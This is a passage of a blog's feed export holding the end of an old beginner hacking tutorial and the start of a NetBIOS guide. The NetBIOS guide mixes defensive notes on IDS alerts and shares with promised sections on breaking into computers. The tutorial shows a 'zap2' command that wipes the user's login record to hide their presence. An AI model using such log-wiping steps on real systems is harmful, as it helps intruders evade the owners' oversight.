tty1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Sep 25 18:18 &lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Then
we shall use zap2. If you loggedin as 'luser', then type:&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ ./zap2 luser&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Zap2!&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$ who&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sh-2.03$&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
And
luser has never been here.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
Greetings&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
~~~~~~~~~&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
Ok,
this is all for now (i'll make a newer version). I hope it has been useful to you
and you &lt;/div&gt;
&lt;div class="Preformatted"&gt;
decide
to continue learning and become a real hacker. You can visit my site
(www.3b0x.com)&lt;/div&gt;
&lt;div class="Preformatted"&gt;
for
more advanced tutorials so you can improve your skills.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
I'd
get very happy if you send me a mail telling me your impression about this
paper (wether&lt;/div&gt;
&lt;div class="Preformatted"&gt;
is
good or bad), and you help me to improve it.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
I'd
like to send my greetings to every hacker that has tought me in any way,
through newsgroups&lt;/div&gt;
&lt;div class="Preformatted"&gt;
or
other tutorials like this one. thanks to all.&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="Preformatted"&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
This paper was written on 26-9-00 by TDC&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;!--[if gte vml 1]&gt;&lt;v:line id="_x0000_s1026" style='position:absolute;
 z-index:251657728;mso-position-horizontal:absolute;
 mso-position-horizontal-relative:text;mso-position-vertical:absolute;
 mso-position-vertical-relative:text' from="0,12pt" to="468pt,12.05pt"
 o:allowincell="f" strokecolor="#d4d4d4" strokeweight="1.75pt"&gt;
 &lt;v:shadow on="t" origin=",32385f" offset="0,-1pt"/&gt;
&lt;/v:line&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;span style="height: 18px; left: -2px; mso-ignore: vglayout; position: relative; top: 13px; width: 628px; z-index: 251657728;"&gt;&lt;img height="5" src="file:///C:/DOCUME~1/NANDAN~1/LOCALS~1/Temp/msohtmlclip1/01/clip_image001.gif" v:shapes="_x0000_s1026" width="628" /&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4998142750566450089-8152335473833318918?l=hackforhumanity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/8152335473833318918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/how-to-learn-to-hack-in-easy-steps.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/8152335473833318918?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default/8152335473833318918?v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/2012/03/how-to-learn-to-hack-in-easy-steps.html' title='How to learn to hack in easy steps'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;C04DRX89fip7ImA9WhVRFE0.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-1563090007709431018</id><published>2012-03-22T00:39:00.002-07:00</published><updated>2012-03-22T00:39:34.166-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-03-22T00:39:34.166-07:00</app:edited><title>The Magic of NetBIOS</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;div class="MsoNormal" style="margin-bottom: 0.0001pt;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Comic Sans MS&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Comic Sans MS&amp;quot;;"&gt;The Magic of
NetBIOS&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 10.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;In
this guide you will learn how to explore the Internet using Windows XP and
NetBIOS:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: blue; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;How to Install NetBIOS
&amp;lt;beginnine2a.shtml&amp;gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: blue; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;How to Use Nbtstat
&amp;lt;beginnine2b.shtml&amp;gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: blue; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;The Net View Command
&amp;lt;beginnine2c.shtml&amp;gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: blue; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;What to Do Once You
Are Connected &amp;lt;beginnine2c.shtml&amp;gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: blue; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;How to Break in Using
the XP GUI &amp;lt;beginnine2d.shtml&amp;gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: blue; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;More on the Net
Commands &amp;lt;beginnine2e.shtml&amp;gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: blue; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;How Crackers Break in
as Administrator &amp;lt;beginnine2f.shtml&amp;gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: blue; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;How to Scan for
Computers that Use NetBIOS &amp;lt;beginnine2g.shtml&amp;gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: blue; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;How to Play NetBIOS
Wargames &amp;lt;beginnine2h.shtml&amp;gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: blue; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;An Evil Genius Tip for
Win NT Server Users &amp;lt;beginnine2h.shtml&amp;gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 36pt; margin-right: 0cm; margin-top: 5pt; text-indent: -18pt;"&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style="font-family: Symbol; font-size: 12.0pt; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;·&lt;span style="font-family: 'Times New Roman'; font-size: 7pt;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span dir="LTR"&gt;&lt;/span&gt;&lt;u&gt;&lt;span style="color: blue; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Help for Windows 95,
98, SE and ME Users &amp;lt;beginnine2h.shtml&amp;gt;&lt;/span&gt;&lt;/u&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Not
many computers are reachable over the Internet using NetBIOS commands - maybe
only a few million. But what the heck, a few million is enough to keep a hacker
from getting bored. And if you know what to look for, you will discover that
there are a lot of very busy hackers and Internet worms searching for computers
they can break into by using NetBIOS commands. By learning the dangers of
NetBIOS, you can get an appreciation for why it is a really, truly BAD!!! idea
to use it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;*****************&lt;br /&gt;
Newbie note: a worm is a program that reproduces itself. For example, Code Red
automatically searched over the Internet for vulnerable Windows computers and
broke into them. So if you see an attempt to break into your computer, it may
be either a human or a worm.&lt;br /&gt;
*****************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;If
you run an intrusion detection system (IDS) on your computer, you are certain
to get a lot of alerts of NetBIOS attacks. Here's an example:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;The
firewall has blocked Internet access to your computer (NetBIOS Session) from
10.0.0.2 (TCP Port 1032) [TCP Flags: S].&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Occurred:
2 times between 10/29/2002 7:38:20 AM and 10/29/2002 7:46:18 AM&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;A
Windows NT server on my home network, which has addresses that all start with
10.0.0, caused these alerts. In this case the server was just doing its
innocent thing, looking for other Windows computers on my LAN (local area
network) that might need to network with it. Every now and then, however, an
attacker might pretend to have an address from your internal network even
though it is attacking from outside.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;If
a computer from out on the Internet tries to open a NetBIOS session with one of
mine, I'll be mighty suspicious. Here's one example of what an outside attack
may look like:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;The
firewall has blocked Internet access to your computer (NetBIOS Name) from
999.209.116.123 (UDP Port 1028).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Time:
10/30/2002 11:10:02 AM&lt;br /&gt;
(The attacker's IP address has been altered to protect the innocent or the
guilty, as the case may be.)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Want
to see how intensely crackers and worms are scanning the Internet for potential
NetBIOS targets? A really great and free IDS for Windows that is also a
firewall is Zone Alarm. You can download it for free from
http://www.zonelabs.com . You can set it to pop up a warning on your screen
whenever someone or some worm attacks your computer. You will almost certainly get
a NetBIOS attack the first day you use your IDS.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Do
you need to worry when a NetBIOS attack hits? Only if you have enabled NetBIOS
and Shares on your computer. Unfortunately, in order to explore other computers
using NetBIOS, you increase the danger to your own computer from attack by
NetBIOS. But, hey, to paraphrase a famous carpenter from Galilee, he who lives
by the NetBIOS gets hacked by the NetBIOS.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;********************&lt;br /&gt;
Newbie note: NetBEUI (NetBIOS Extended User Interface) is an out-of-date,
crummy, not terribly secure way for Windows computers to communicate with each
other in a peer-to-peer mode. NetBIOS stands for network basic input/output
system.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;Newbie
note: Shares are when you make it so other computers can access files and
directories on your computer. If you set up your computer to use NetBIOS, in
Win XP using the NTFS (new technology file system) you can share files and
directories by bringing up My Computer. Click on a directory - which in XP is
called a "folder". In the left-hand column a task will appear called
"Share this folder". By clicking this you can set who can access this
folder, how many people at a time can access it, and what they can do with the
folder.&lt;br /&gt;
********************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;There
are a number of network exploration commands that only NetBIOS uses. We will
show how to use nbtstat and several versions of the net command.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;b&gt;&lt;span style="font-family: &amp;quot;Comic Sans MS&amp;quot;; font-size: 14.0pt; mso-bidi-font-family: &amp;quot;Comic Sans MS&amp;quot;;"&gt;How to Install NetBIOS&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoNormal" style="margin-bottom: 5pt; margin-left: 0cm; margin-right: 0cm; margin-top: 5pt;"&gt;
&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 12.0pt;"&gt;You
might have to make changes on your system in order to use these commands.
Here's how to enable NetBIOS for Windows XP. (If you are stuck with Windows 95,
